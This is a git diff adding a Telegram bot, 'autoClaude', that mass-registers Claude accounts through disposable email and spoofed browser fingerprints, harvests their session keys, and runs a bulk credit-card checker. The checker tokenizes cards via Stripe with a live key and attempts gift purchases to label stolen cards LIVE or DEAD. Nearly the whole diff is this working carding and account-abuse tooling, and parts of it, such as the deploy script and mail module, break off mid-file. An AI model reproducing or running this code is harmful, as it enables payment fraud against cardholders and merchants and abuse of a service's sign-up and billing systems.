diff --git a/.gitignore b/.gitignore
index 8d08ea3..76b90f3 100644
--- a/.gitignore
+++ b/.gitignore
@@ -11,3 +11,5 @@ wheels/
accounts.txt
cards.txt
+config.toml
+.claude/settings.local.json
diff --git a/bot.py b/bot.py
new file mode 100644
index 0000000..3a175da
--- /dev/null
+++ b/bot.py
@@ -0,0 +1,658 @@
+"""
+autoClaude Telegram Bot
+基于 python-telegram-bot v21+ 的异步 Bot,封装 Claude 注册和 CC 检查流程。
+启动方式: uv run python bot.py
+"""
+
+import asyncio
+import logging
+import random
+import string
+import time
+import threading
+from functools import wraps
+
+from telegram import Update, BotCommand
+from telegram.ext import (
+ Application,
+ CommandHandler,
+ MessageHandler,
+ ContextTypes,
+ filters,
+)
+
+from config import (
+ TG_BOT_TOKEN,
+ TG_ALLOWED_USERS,
+ MAIL_SYSTEMS,
+)
+from mail_service import MailPool, extract_magic_link
+from stripe_token import StripeTokenizer
+from gift_checker import GiftChecker
+from claude_auth import attack_claude, finalize_login
+
+# --- 日志配置 ---
+logging.basicConfig(
+ format="%(asctime)s - %(name)s - %(levelname)s - %(message)s",
+ level=logging.INFO,
+)
+logger = logging.getLogger(__name__)
+
+# --- 全局状态 ---
+_task_lock = threading.Lock()
+_task_running = False
+_task_name = ""
+
+
+# ============================================================
+# 工具函数
+# ============================================================
+
+def restricted(func):
+ """权限控制装饰器:仅允许 TG_ALLOWED_USERS 中的用户使用"""
+ @wraps(func)
+ async def wrapper(update: Update, context: ContextTypes.DEFAULT_TYPE, *args, **kwargs):
+ user_id = update.effective_user.id
+ if TG_ALLOWED_USERS and user_id not in TG_ALLOWED_USERS:
+ await update.message.reply_text("⛔ 你没有权限使用此 Bot。")
+ return
+ return await func(update, context, *args, **kwargs)
+ return wrapper
+
+
+def _set_task(name: str) -> bool:
+ """尝试设置任务锁,返回是否成功"""
+ global _task_running, _task_name
+ with _task_lock:
+ if _task_running:
+ return False
+ _task_running = True
+ _task_name = name
+ return True
+
+
+def _clear_task():
+ """释放任务锁"""
+ global _task_running, _task_name
+ with _task_lock:
+ _task_running = False
+ _task_name = ""
+
+
+async def _edit_or_send(msg, text: str):
+ """安全地编辑消息,如果失败则发送新消息"""
+ try:
+ await msg.edit_text(text, parse_mode="HTML")
+ except Exception:
+ pass
+
+
+# ============================================================
+# 命令处理
+# ============================================================
+
+@restricted
+async def cmd_start(update: Update, context: ContextTypes.DEFAULT_TYPE):
+ """/start — 欢迎信息"""
+ welcome = (
+ "🤖 autoClaude Bot\n\n"
+ "可用命令:\n"
+ " /register [N] — 注册 Claude 账号(默认 1 个)\n"
+ " /check <卡号|月|年|CVC> — 单张 CC 检查\n"
+ " 📎 发送 .txt 文件 — 批量 CC 检查\n"
+ " /accounts — 查看已注册账号\n"
+ " /status — 当前任务状态\n"
+ " /help — 帮助\n\n"
+ f"👤 你的用户 ID: {update.effective_user.id}"
+ )
+ await update.message.reply_text(welcome, parse_mode="HTML")
+
+
+@restricted
+async def cmd_help(update: Update, context: ContextTypes.DEFAULT_TYPE):
+ """/help — 命令列表"""
+ text = (
+ "📖 命令说明\n\n"
+ "/register [N]\n"
+ " 注册 N 个 Claude 账号(默认 1)。\n"
+ " 流程:创建邮箱 → 发送 Magic Link → 等待邮件 → 交换 SessionKey\n"
+ " 注册结果自动保存到 accounts.txt\n\n"
+ "/check <CARD|MM|YY|CVC>\n"
+ " 单张信用卡检查。\n\n"
+ "📎 发送 .txt 文件\n"
+ " 批量 CC 检查,文件每行一张卡:\n"
+ " 卡号|月|年|CVC\n\n"
+ "/accounts\n"
+ " 列出 accounts.txt 中保存的所有账号。\n\n"
+ "/status\n"
+ " 查看当前是否有后台任务在运行。\n"
+ )
+ await update.message.reply_text(text, parse_mode="HTML")
+
+
+@restricted
+async def cmd_status(update: Update, context: ContextTypes.DEFAULT_TYPE):
+ """/status — 查看任务状态"""
+ with _task_lock:
+ if _task_running:
+ await update.message.reply_text(
+ f"⏳ 当前任务:{_task_name}",
+ parse_mode="HTML",
+ )
+ else:
+ await update.message.reply_text("✅ 当前无运行中的任务。")
+
+
+@restricted
+async def cmd_accounts(update: Update, context: ContextTypes.DEFAULT_TYPE):
+ """/accounts — 列出已注册账号"""
+ try:
+ with open("accounts.txt", "r") as f:
+ lines = [l.strip() for l in f if l.strip()]
+ except FileNotFoundError:
+ await update.message.reply_text("📭 尚无已注册账号(accounts.txt 不存在)。")
+ return
+
+ if not lines:
+ await update.message.reply_text("📭 accounts.txt 为空。")
+ return
+
+ text = f"📋 已注册账号(共 {len(lines)} 个)\n\n"
+ for i, line in enumerate(lines, 1):
+ parts = line.split("|")
+ email = parts[0] if len(parts) > 0 else "?"
+ sk = parts[1][:12] + "..." if len(parts) > 1 and len(parts[1]) > 12 else (parts[1] if len(parts) > 1 else "?")
+ text += f"{i}. {email}\n SK: {sk}\n"
+
+ # Telegram 消息限制 4096 字符
+ if len(text) > 4000:
+ text = text[:4000] + "\n...(已截断)"
+
+ await update.message.reply_text(text, parse_mode="HTML")
+
+
+# ============================================================
+# /register — 注册 Claude 账号
+# ============================================================
+
+@restricted
+async def cmd_register(update: Update, context: ContextTypes.DEFAULT_TYPE):
+ """/register [N] — 注册 Claude 账号"""
+ # 解析数量
+ count = 1
+ if context.args:
+ try:
+ count = int(context.args[0])
+ if count < 1 or count > 20:
+ await update.message.reply_text("❌ 数量范围:1-20")
+ return
+ except ValueError:
+ await update.message.reply_text("❌ 用法:/register [数量]")
+ return
+
+ if not _set_task(f"注册 {count} 个账号"):
+ await update.message.reply_text(f"⚠️ 已有任务在运行:{_task_name}")
+ return
+
+ status_msg = await update.message.reply_text(
+ f"🚀 开始注册 {count} 个 Claude 账号...",
+ parse_mode="HTML",
+ )
+
+ # 在后台线程执行耗时操作
+ loop = asyncio.get_event_loop()
+ threading.Thread(
+ target=_register_worker,
+ args=(loop, status_msg, count),
+ daemon=True,
+ ).start()
+
+
+def _register_worker(loop: asyncio.AbstractEventLoop, status_msg, count: int):
+ """注册工作线程"""
+ results = {"success": 0, "fail": 0, "accounts": []}
+
+ try:
+ # 初始化邮箱系统池
+ asyncio.run_coroutine_threadsafe(
+ _edit_or_send(status_msg, "📧 正在连接邮件系统..."),
+ loop,
+ ).result(timeout=10)
+
+ mail_pool = MailPool(MAIL_SYSTEMS)
+ if mail_pool.count == 0:
+ asyncio.run_coroutine_threadsafe(
+ _edit_or_send(status_msg, "❌ 没有可用的邮箱系统!"),
+ loop,
+ ).result(timeout=10)
+ return
+
+ asyncio.run_coroutine_threadsafe(
+ _edit_or_send(status_msg, f"📧 邮箱系统就绪({mail_pool.count} 个)\n🚀 开始注册..."),
+ loop,
+ ).result(timeout=10)
+
+ for i in range(count):
+ progress = f"[{i + 1}/{count}]"
+
+ # Step 1: 创建邮箱(轮询选系统)
+ asyncio.run_coroutine_threadsafe(
+ _edit_or_send(
+ status_msg,
+ f"⏳ {progress} 创建临时邮箱...\n\n"
+ f"✅ 成功: {results['success']} ❌ 失败: {results['fail']}",
+ ),
+ loop,
+ ).result(timeout=10)
+
+ random_prefix = ''.join(random.choices(string.ascii_lowercase + string.digits, k=10))
+ target_email, mail_sys = mail_pool.create_user(random_prefix)
+
+ if not target_email or not mail_sys:
+ results["fail"] += 1
+ continue
+
+ # Step 2: 发送 Magic Link
+ asyncio.run_coroutine_threadsafe(
+ _edit_or_send(
+ status_msg,
+ f"⏳ {progress} 发送 Magic Link...\n"
+ f"📧 {target_email}\n\n"
+ f"✅ 成功: {results['success']} ❌ 失败: {results['fail']}",
+ ),
+ loop,
+ ).result(timeout=10)
+
+ if not attack_claude(target_email):
+ results["fail"] += 1
+ continue
+
+ # Step 3: 等待邮件(使用创建时对应的系统)
+ asyncio.run_coroutine_threadsafe(
+ _edit_or_send(
+ status_msg,
+ f"⏳ {progress} 等待 Claude 邮件...\n"
+ f"📧 {target_email}\n\n"
+ f"✅ 成功: {results['success']} ❌ 失败: {results['fail']}",
+ ),
+ loop,
+ ).result(timeout=10)
+
+ email_content = mail_sys.wait_for_email(target_email)
+ if not email_content:
+ results["fail"] += 1
+ continue
+
+ magic_link = extract_magic_link(email_content)
+ if not magic_link:
+ results["fail"] += 1
+ continue
+
+ # Step 4: 交换 SessionKey
+ asyncio.run_coroutine_threadsafe(
+ _edit_or_send(
+ status_msg,
+ f"⏳ {progress} 交换 SessionKey...\n"
+ f"📧 {target_email}\n\n"
+ f"✅ 成功: {results['success']} ❌ 失败: {results['fail']}",
+ ),
+ loop,
+ ).result(timeout=10)
+
+ account = finalize_login(magic_link)
+ if account:
+ results["success"] += 1
+ results["accounts"].append(account)
+ # 保存到文件
+ with open("accounts.txt", "a") as f:
+ f.write(f"{account.email}|{account.session_key}|{account.org_uuid}\n")
+ else:
+ results["fail"] += 1
+
+ # 间隔防止限流
+ if i < count - 1:
+ time.sleep(2)
+
+ # 最终汇报
+ report = (
+ f"🏁 注册完成\n\n"
+ f"✅ 成功: {results['success']}\n"
+ f"❌ 失败: {results['fail']}\n"
+ )
+ if results["accounts"]:
+ report += "\n新注册账号:\n"
+ for acc in results["accounts"]:
+ report += f"• {acc.email}\n"
+
+ asyncio.run_coroutine_threadsafe(
+ _edit_or_send(status_msg, report),
+ loop,
+ ).result(timeout=10)
+
+ except Exception as e:
+ logger.exception("注册任务异常")
+ asyncio.run_coroutine_threadsafe(
+ _edit_or_send(status_msg, f"💥 注册任务异常:{e}"),
+ loop,
+ )
+ finally:
+ _clear_task()
+
+
+# ============================================================
+# /check — CC 检查
+# ============================================================
+
+@restricted
+async def cmd_check(update: Update, context: ContextTypes.DEFAULT_TYPE):
+ """/check — CC 检查"""
+ if not context.args:
+ await update.message.reply_text(
+ "❌ 用法:/check 卡号|月|年|CVC\n"
+ "示例:/check 4111111111111111|12|2025|123",
+ parse_mode="HTML",
+ )
+ return
+
+ card_line = context.args[0]
+ parts = card_line.split("|")
+ if len(parts) != 4:
+ await update.message.reply_text("❌ 格式错误,需要:卡号|月|年|CVC", parse_mode="HTML")
+ return
+
+ # 读取可用账号
+ try:
+ with open("accounts.txt", "r") as f:
+ lines = [l.strip() for l in f if l.strip()]
+ except FileNotFoundError:
+ lines = []
+
+ if not lines:
+ await update.message.reply_text("❌ 没有可用账号,请先 /register 注册一个。")
+ return
+
+ if not _set_task("CC 检查"):
+ await update.message.reply_text(f"⚠️ 已有任务在运行:{_task_name}")
+ return
+
+ status_msg = await update.message.reply_text(
+ f"🔍 正在检查卡片:{parts[0][:4]}****{parts[0][-4:]}",
+ parse_mode="HTML",
+ )
+
+ loop = asyncio.get_event_loop()
+ threading.Thread(
+ target=_check_worker,
+ args=(loop, status_msg, card_line, lines[-1]),
+ daemon=True,
+ ).start()
+
+
+def _check_worker(loop: asyncio.AbstractEventLoop, status_msg, card_line: str, account_line: str):
+ """CC 检查工作线程"""
+ try:
+ cc, mm, yy, cvc = card_line.split("|")
+ acc_parts = account_line.split("|")
+ email, session_key, org_uuid = acc_parts[0], acc_parts[1], acc_parts[2]
+
+ from models import ClaudeAccount
+ from identity import random_ua
+
+ account = ClaudeAccount(email, session_key, org_uuid, random_ua())
+ masked = f"{cc[:4]}****{cc[-4:]}"
+
+ # Step 1: Stripe Token
+ asyncio.run_coroutine_threadsafe(
+ _edit_or_send(status_msg, f"🔍 {masked}\n⏳ 获取 Stripe Token..."),
+ loop,
+ ).result(timeout=10)
+
+ tokenizer = StripeTokenizer(account.user_agent)
+ pm_id = tokenizer.get_token(cc, mm, yy, cvc)
+
+ if not pm_id:
+ asyncio.run_coroutine_threadsafe(
+ _edit_or_send(status_msg, f"🔍 {masked}\n❌ Stripe 拒绝,无法获取 Token"),
+ loop,
+ ).result(timeout=10)
+ return
+
+ # Step 2: Gift Purchase
+ asyncio.run_coroutine_threadsafe(
+ _edit_or_send(status_msg, f"🔍 {masked}\n⏳ 尝试扣款验证..."),
+ loop,
+ ).result(timeout=10)
+
+ checker = GiftChecker(account)
+ result = checker.purchase(pm_id)
+
+ # 结果映射
+ result_map = {
+ "LIVE": "💰 LIVE — 扣款成功!卡有效",
+ "DECLINED": "🚫 DECLINED — 被拒绝",
+ "INSUFFICIENT_FUNDS": "💸 INSUFFICIENT — 余额不足(卡有效)",
+ "CCN_LIVE": "🔶 CCN LIVE — 卡号有效但 CVC 错误",
+ "DEAD": "💀 DEAD — 无效卡",
+ "ERROR": "⚠️ ERROR — 检查出错",
+ }
+ result_text = result_map.get(result, f"❓ 未知结果:{result}")
+
+ asyncio.run_coroutine_threadsafe(
+ _edit_or_send(
+ status_msg,
+ f"🔍 CC 检查结果\n\n"
+ f"卡片:{masked}\n"
+ f"结果:{result_text}",
+ ),
+ loop,
+ ).result(timeout=10)
+
+ except Exception as e:
+ logger.exception("CC 检查异常")
+ asyncio.run_coroutine_threadsafe(
+ _edit_or_send(status_msg, f"💥 CC 检查异常:{e}"),
+ loop,
+ )
+ finally:
+ _clear_task()
+
+
+# ============================================================
+# 文件上传 — 批量 CC 检查
+# ============================================================
+
+@restricted
+async def handle_document(update: Update, context: ContextTypes.DEFAULT_TYPE):
+ """接收 .txt 文件进行批量 CC 检查"""
+ doc = update.message.document
+
+ # 检查文件类型
+ if not doc.file_name.endswith(".txt"):
+ await update.message.reply_text("❌ 仅支持 .txt 文件")
+ return
+
+ # 检查文件大小(限制 1MB)
+ if doc.file_size > 1024 * 1024:
+ await update.message.reply_text("❌ 文件太大(最大 1MB)")
+ return
+
+ # 读取可用账号
+ try:
+ with open("accounts.txt", "r") as f:
+ acc_lines = [l.strip() for l in f if l.strip()]
+ except FileNotFoundError:
+ acc_lines = []
+
+ if not acc_lines:
+ await update.message.reply_text("❌ 没有可用账号,请先 /register 注册一个。")
+ return
+
+ if not _set_task("批量 CC 检查"):
+ await update.message.reply_text(f"⚠️ 已有任务在运行:{_task_name}")
+ return
+
+ # 下载文件
+ status_msg = await update.message.reply_text("📥 正在下载文件...")
+
+ try:
+ file = await doc.get_file()
+ file_bytes = await file.download_as_bytearray()
+ content = file_bytes.decode("utf-8", errors="ignore")
+ except Exception as e:
+ await _edit_or_send(status_msg, f"💥 下载文件失败:{e}")
+ _clear_task()
+ return
+
+ # 解析卡片
+ cards = []
+ for line in content.splitlines():
+ line = line.strip()
+ if line and not line.startswith("#"):
+ parts = line.split("|")
+ if len(parts) == 4:
+ cards.append(line)
+
+ if not cards:
+ await _edit_or_send(status_msg, "❌ 文件中没有找到有效卡片。\n格式:卡号|月|年|CVC")
+ _clear_task()
+ return
+
+ await _edit_or_send(
+ status_msg,
+ f"📋 读取到 {len(cards)} 张卡片,开始批量检查...",
+ )
+
+ # 后台线程执行
+ loop = asyncio.get_event_loop()
+ threading.Thread(
+ target=_batch_check_worker,
+ args=(loop, status_msg, cards, acc_lines[-1]),
+ daemon=True,
+ ).start()
+
+
+def _batch_check_worker(loop: asyncio.AbstractEventLoop, status_msg, cards: list, account_line: str):
+ """批量 CC 检查工作线程"""
+ from models import ClaudeAccount
+ from identity import random_ua
+
+ results = []
+ total = len(cards)
+
+ try:
+ acc_parts = account_line.split("|")
+ email, session_key, org_uuid = acc_parts[0], acc_parts[1], acc_parts[2]
+ account = ClaudeAccount(email, session_key, org_uuid, random_ua())
+
+ tokenizer = StripeTokenizer(account.user_agent)
+ checker = GiftChecker(account)
+
+ for i, card_line in enumerate(cards):
+ cc, mm, yy, cvc = card_line.split("|")
+ masked = f"{cc[:4]}****{cc[-4:]}"
+
+ # 更新进度
+ recent = "\n".join(results[-5:]) # 显示最近 5 条结果
+ asyncio.run_coroutine_threadsafe(
+ _edit_or_send(
+ status_msg,
+ f"🔍 [{i + 1}/{total}] 检查中:{masked}\n\n"
+ + recent,
+ ),
+ loop,
+ ).result(timeout=10)
+
+ # Stripe Token
+ pm_id = tokenizer.get_token(cc, mm, yy, cvc)
+
+ if not pm_id:
+ results.append(f"❌ {masked} → Stripe 拒绝")
+ time.sleep(1)
+ continue
+
+ # Gift Purchase
+ result = checker.purchase(pm_id)
+
+ result_icons = {
+ "LIVE": "💰", "DECLINED": "🚫",
+ "INSUFFICIENT_FUNDS": "💸", "CCN_LIVE": "🔶",
+ "DEAD": "💀", "ERROR": "⚠️",
+ }
+ icon = result_icons.get(result, "❓")
+ results.append(f"{icon} {masked} → {result}")
+
+ # 间隔防限流
+ if i < total - 1:
+ time.sleep(2)
+
+ # 最终汇报
+ live = sum(1 for r in results if "LIVE" in r and "CCN" not in r)
+ dead = sum(1 for r in results if "DEAD" in r or "DECLINED" in r or "Stripe" in r)
+ other = total - live - dead
+
+ report = (
+ f"🏁 批量 CC 检查完成\n\n"
+ f"📊 共 {total} 张 | 💰 有效 {live} | 💀 无效 {dead} | ❓ 其他 {other}\n\n"
+ )
+ report += "\n".join(results)
+
+ # Telegram 消息限制 4096
+ if len(report) > 4000:
+ report = report[:4000] + "\n...(已截断)"
+
+ asyncio.run_coroutine_threadsafe(
+ _edit_or_send(status_msg, report),
+ loop,
+ ).result(timeout=10)
+
+ except Exception as e:
+ logger.exception("批量 CC 检查异常")
+ asyncio.run_coroutine_threadsafe(
+ _edit_or_send(status_msg, f"💥 批量 CC 检查异常:{e}"),
+ loop,
+ )
+ finally:
+ _clear_task()
+
+
+# ============================================================
+# 启动 Bot
+# ============================================================
+
+async def post_init(application: Application):
+ """Bot 启动后设置命令菜单"""
+ commands = [
+ BotCommand("start", "欢迎信息"),
+ BotCommand("register", "注册 Claude 账号 [数量]"),
+ BotCommand("check", "CC 检查 <卡号|月|年|CVC>"),
+ BotCommand("accounts", "查看已注册账号"),
+ BotCommand("status", "当前任务状态"),
+ BotCommand("help", "命令帮助"),
+ ]
+ await application.bot.set_my_commands(commands)
+ logger.info("Bot 命令菜单已设置")
+
+
+def main():
+ """启动 Bot"""
+ if TG_BOT_TOKEN == "your_bot_token_here":
+ print("❌ 请先在 config.toml 中设置 TG_BOT_TOKEN!")
+ return
+
+ app = Application.builder().token(TG_BOT_TOKEN).post_init(post_init).build()
+
+ # 注册命令
+ app.add_handler(CommandHandler("start", cmd_start))
+ app.add_handler(CommandHandler("help", cmd_help))
+ app.add_handler(CommandHandler("register", cmd_register))
+ app.add_handler(CommandHandler("check", cmd_check))
+ app.add_handler(CommandHandler("accounts", cmd_accounts))
+ app.add_handler(CommandHandler("status", cmd_status))
+ app.add_handler(MessageHandler(filters.Document.ALL, handle_document))
+
+ logger.info("🤖 Bot 启动中...")
+ app.run_polling(allowed_updates=Update.ALL_TYPES)
+
+
+if __name__ == "__main__":
+ main()
diff --git a/claude_auth.py b/claude_auth.py
new file mode 100644
index 0000000..ddbeb1e
--- /dev/null
+++ b/claude_auth.py
@@ -0,0 +1,172 @@
+import uuid
+import base64
+from curl_cffi import requests # 用于模拟指纹
+
+from config import CLAUDE_URL
+from models import ClaudeAccount
+from identity import random_ua
+
+
+def attack_claude(target_email):
+ """伪装成浏览器发起攻击"""
+ device_id = str(uuid.uuid4())
+ ua = random_ua()
+
+ headers = {
+ "Host": "claude.ai",
+ "Anthropic-Anonymous-Id": f"claudeai.v1.{uuid.uuid4()}",
+ "Sec-Ch-Ua-Full-Version-List": '"Google Chrome";v="143.0.7499.105", "Chromium";v="143.0.7499.105", "Not A(Brand";v="24.0.0.0"',
+ "Sec-Ch-Ua-Platform": '"Linux"',
+ "Sec-Ch-Ua": '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
+ "Baggage": "sentry-environment=production,sentry-release=ce5600af514463a166f4cd356a6afbc46ee5cd3d,sentry-public_key=58e9b9d0fc244061a1b54fe288b0e483,sentry-trace_id=7bdc872994f347d6b5a610a520f40401,sentry-org_id=1158394",
+ "Anthropic-Client-Sha": "ce5600af514463a166f4cd356a6afbc46ee5cd3d",
+ "Content-Type": "application/json",
+ "Anthropic-Client-Platform": "web_claude_ai",
+ "Anthropic-Device-Id": device_id,
+ "Anthropic-Client-Version": "1.0.0",
+ "User-Agent": ua,
+ "Origin": "https://claude.ai",
+ "Referer": "https://claude.ai/login?returnTo=%2Fonboarding",
+ "Accept-Encoding": "gzip, deflate, br",
+ "Accept-Language": "zh-CN,zh;q=0.9",
+ "Priority": "u=1, i"
+ }
+
+ payload = {
+ "utc_offset": -480,
+ "email_address": target_email,
+ "login_intent": None,
+ "locale": "en-US",
+ "oauth_client_id": None,
+ "source": "claude"
+ }
+
+ try:
+ print(f"[*] 正在向 Claude 发送 Magic Link 请求: {target_email}")
+ session = requests.Session()
+ response = session.post(
+ CLAUDE_URL,
+ json=payload,
+ headers=headers,
+ impersonate="chrome124"
+ )
+
+ if response.status_code == 200:
+ print("[+] 请求成功,Claude 已发信。")
+ return True
+ elif response.status_code == 429:
+ print("[-] 被限流了 (Rate Limited)。")
+ else:
+ print(f"[-] 请求失败 Code: {response.status_code}, Body: {response.text}")
+
+ except Exception as e:
+ print(f"[-] 发生异常: {e}")
+
+ return False
+
+
+def finalize_login(magic_link_fragment):
+ """
+ 完成最后一步:无需浏览器,直接交换 sessionKey。
+ magic_link_fragment 格式: https://claude.ai/magic-link#token:base64_email
+ 返回 ClaudeAccount 对象
+ """
+
+ # 1. 外科手术式拆解 Hash
+ if '#' in magic_link_fragment:
+ fragment = magic_link_fragment.split('#')[1]
+ else:
+ fragment = magic_link_fragment
+
+ if ':' not in fragment:
+ print("[-] 链接格式错误: 找不到 token 和 email 的分隔符")
+ return None
+
+ # 分割 nonce 和 base64_email
+ nonce, encoded_email = fragment.split(':', 1)
+
+ try:
+ decoded_email = base64.b64decode(encoded_email).decode('utf-8')
+ print(f"[*] 解析成功 -> Email: {decoded_email} | Nonce: {nonce[:8]}...")
+ except:
+ print(f"[*] 解析成功 -> Nonce: {nonce[:8]}...")
+
+ # 2. 构造最终 payload
+ verify_url = "https://claude.ai/api/auth/verify_magic_link"
+
+ payload = {
+ "credentials": {
+ "method": "nonce",
+ "nonce": nonce,
+ "encoded_email_address": encoded_email
+ },
+ "locale": "en-US",
+ "oauth_client_id": None,
+ "source": "claude"
+ }
+
+ # 3. 伪造指纹头
+ device_id = str(uuid.uuid4())
+ ua = random_ua()
+ headers = {
+ "Host": "claude.ai",
+ "Content-Type": "application/json",
+ "Origin": "https://claude.ai",
+ "Referer": "https://claude.ai/magic-link",
+ "User-Agent": ua,
+ "Accept": "*/*",
+ "Accept-Language": "zh-CN,zh;q=0.9",
+ "Anthropic-Client-Version": "1.0.0",
+ "Anthropic-Client-Platform": "web_claude_ai",
+ "Anthropic-Device-Id": device_id,
+ "Sec-Fetch-Dest": "empty",
+ "Sec-Fetch-Mode": "cors",
+ "Sec-Fetch-Site": "same-origin",
+ "Priority": "u=1, i"
+ }
+
+ try:
+ print(f"[*] 正在交换 SessionKey...")
+ session = requests.Session()
+ response = session.post(
+ verify_url,
+ json=payload,
+ headers=headers,
+ impersonate="chrome124"
+ )
+
+ if response.status_code == 200:
+ data = response.json()
+ # 1. 提取 SessionKey
+ session_key = response.cookies.get("sessionKey")
+
+ if not session_key:
+ for name, value in response.cookies.items():
+ if name == "sessionKey":
+ session_key = value
+ break
+
+ if not session_key:
+ print("[-] 请求成功 (200),但未在 Cookie 中找到 sessionKey。")
+ print(f"Response: {str(data)[:200]}...")
+ return None
+
+ # 2. 提取 Org UUID
+ try:
+ org_uuid = data['account']['memberships'][0]['organization']['uuid']
+ email = data['account']['email_address']
+ print(f"[+] 登录成功。OrgID: {org_uuid}")
+ return ClaudeAccount(email, session_key, org_uuid, ua)
+ except KeyError as e:
+ print(f"[-] 无法提取 Organization UUID,结构可能变了: {e}")
+ print(f"Response keys: {data.keys() if isinstance(data, dict) else type(data)}")
+ return None
+
+ else:
+ print(f"[-] 交换失败 Code: {response.status_code}")
+ print(f"Body: {response.text}")
+ return None
+
+ except Exception as e:
+ print(f"[-] 发生异常: {e}")
+ return None
diff --git a/config.py b/config.py
new file mode 100644
index 0000000..42fe3db
--- /dev/null
+++ b/config.py
@@ -0,0 +1,33 @@
+"""
+配置加载器:从 config.toml 读取配置,对外暴露与原 config.py 相同的变量名。
+"""
+
+import sys
+import tomllib
+from pathlib import Path
+
+# --- 加载 TOML ---
+_config_path = Path(__file__).parent / "config.toml"
+
+if not _config_path.exists():
+ print("❌ 找不到 config.toml!")
+ print(" 请复制 config.toml.example 为 config.toml 并填入实际值:")
+ print(" copy config.toml.example config.toml")
+ sys.exit(1)
+
+with open(_config_path, "rb") as f:
+ _cfg = tomllib.load(f)
+
+# --- Claude ---
+CLAUDE_URL: str = _cfg["claude"]["url"]
+
+# --- Stripe ---
+STRIPE_PK: str = _cfg["stripe"]["pk"]
+PRODUCT_ID: str = _cfg["stripe"]["product_id"]
+
+# --- Telegram Bot ---
+TG_BOT_TOKEN: str = _cfg["telegram"]["bot_token"]
+TG_ALLOWED_USERS: list[int] = _cfg["telegram"].get("allowed_users", [])
+
+# --- 邮箱系统 ---
+MAIL_SYSTEMS: list[dict] = _cfg.get("mail", [])
diff --git a/config.toml.example b/config.toml.example
new file mode 100644
index 0000000..d272bb6
--- /dev/null
+++ b/config.toml.example
@@ -0,0 +1,33 @@
+# ============================================================
+# autoClaude 配置文件模板
+# 复制本文件为 config.toml 并填入实际值
+# ============================================================
+
+# --- Claude ---
+[claude]
+url = "https://claude.ai/api/auth/send_magic_link"
+
+# --- Stripe ---
+[stripe]
+pk = "pk_live_51MExQ9BjIQrRQnuxA9s9ahUkfIUHPoc3NFNidarWIUhEpwuc1bdjSJU9medEpVjoP4kTUrV2G8QWdxi9GjRJMUri005KO5xdyD"
+product_id = "prod_TXU4hGh2EDxASl"
+
+# --- Telegram Bot ---
+[telegram]
+bot_token = "your_bot_token_here" # @BotFather 获取
+allowed_users = [] # 允许使用的用户ID列表(空=不限制)
+
+# --- 邮箱系统(轮询使用,API 接口相同)---
+# 可添加多个 [[mail]] 块
+
+[[mail]]
+base_url = "https://mail.example.com/"
+admin_email = "admin@example.com"
+admin_pass = "your_password"
+domains = ["example.com"]
+
+# [[mail]]
+# base_url = "https://mail2.example.com/"
+# admin_email = "admin@mail2.example.com"
+# admin_pass = "pass2"
+# domains = ["domain2.com", "domain3.com"]
diff --git a/deploy.sh b/deploy.sh
new file mode 100644
index 0000000..bb80af6
--- /dev/null
+++ b/deploy.sh
@@ -0,0 +1,170 @@
+#!/bin/bash
+# ============================================================
+# autoClaude-TGbot 一键部署脚本
+# 用法: chmod +x deploy.sh && sudo ./deploy.sh
+# ============================================================
+
+set -e
+
+# --- 颜色 ---
+RED='\033[0;31m'
+GREEN='\033[0;32m'
+YELLOW='\033[1;33m'
+CYAN='\033[0;36m'
+NC='\033[0m'
+
+info() { echo -e "${CYAN}[INFO]${NC} $1"; }
+ok() { echo -e "${GREEN}[✔]${NC} $1"; }
+warn() { echo -e "${YELLOW}[!]${NC} $1"; }
+err() { echo -e "${RED}[✘]${NC} $1"; exit 1; }
+
+# --- 检查 root ---
+if [ "$EUID" -ne 0 ]; then
+ err "请使用 sudo 运行: sudo ./deploy.sh"
+fi
+
+# --- 变量 ---
+APP_NAME="autoclaude-tgbot"
+APP_DIR="$(cd "$(dirname "$0")" && pwd)"
+SERVICE_FILE="/etc/systemd/system/${APP_NAME}.service"
+RUN_USER="${SUDO_USER:-$(whoami)}"
+RUN_GROUP="$(id -gn "$RUN_USER")"
+
+echo ""
+echo -e "${CYAN}╔══════════════════════════════════════════╗${NC}"
+echo -e "${CYAN}║ autoClaude-TGbot 一键部署 ║${NC}"
+echo -e "${CYAN}╚══════════════════════════════════════════╝${NC}"
+echo ""
+info "项目目录: ${APP_DIR}"
+info "运行用户: ${RUN_USER}"
+echo ""
+
+# ============================================================
+# 1. 安装系统依赖
+# ============================================================
+info "检查系统依赖..."
+
+# 安装 uv(如果不存在)
+if ! command -v uv &> /dev/null; then
+ info "安装 uv..."
+ curl -LsSf https://astral.sh/uv/install.sh | sh
+ export PATH="$HOME/.local/bin:$PATH"
+ ok "uv 已安装"
+else
+ ok "uv 已存在 ($(uv --version))"
+fi
+
+# ============================================================
+# 2. 安装 Python 依赖
+# ============================================================
+info "安装 Python 依赖..."
+cd "$APP_DIR"
+sudo -u "$RUN_USER" uv sync 2>/dev/null || sudo -u "$RUN_USER" uv pip install -r pyproject.toml 2>/dev/null || true
+ok "依赖安装完成"
+
+# ============================================================
+# 3. 检查配置文件
+# ============================================================
+if [ ! -f "${APP_DIR}/config.toml" ]; then
+ warn "config.toml 不存在,从模板复制..."
+ cp "${APP_DIR}/config.toml.example" "${APP_DIR}/config.toml"
+ chown "$RUN_USER:$RUN_GROUP" "${APP_DIR}/config.toml"
+ echo ""
+ echo -e "${YELLOW}════════════════════════════════════════════${NC}"
+ echo -e "${YELLOW} ⚠️ 请编辑 config.toml 填入实际配置:${NC}"
+ echo -e "${YELLOW} nano ${APP_DIR}/config.toml${NC}"
+ echo -e "${YELLOW}════════════════════════════════════════════${NC}"
+ echo ""
+ read -p "编辑完成后按 Enter 继续,或 Ctrl+C 退出..." _
+else
+ ok "config.toml 已存在"
+fi
+
+# ============================================================
+# 4. 获取 uv 和 python 路径
+# ============================================================
+UV_PATH="$(sudo -u "$RUN_USER" bash -c 'which uv')"
+info "uv 路径: ${UV_PATH}"
+
+# ============================================================
+# 5. 创建 systemd 服务
+# ============================================================
+info "创建 systemd 服务: ${APP_NAME}"
+
+cat > "$SERVICE_FILE" < str:
+ """随机返回一个 User-Agent"""
+ return random.choice(UA_LIST)
+
+
+def random_address() -> dict:
+ """生成一个随机的美国地址"""
+ return {
+ "line1": fake.street_address(),
+ "city": fake.city(),
+ "state": fake.state_abbr(),
+ "postal_code": fake.zipcode(),
+ "country": "US",
+ }
+
+
+def random_name() -> str:
+ """生成一个随机的英文姓名"""
+ return fake.name()
diff --git a/mail_service.py b/mail_service.py
new file mode 100644
index 0000000..468ef1c
--- /dev/null
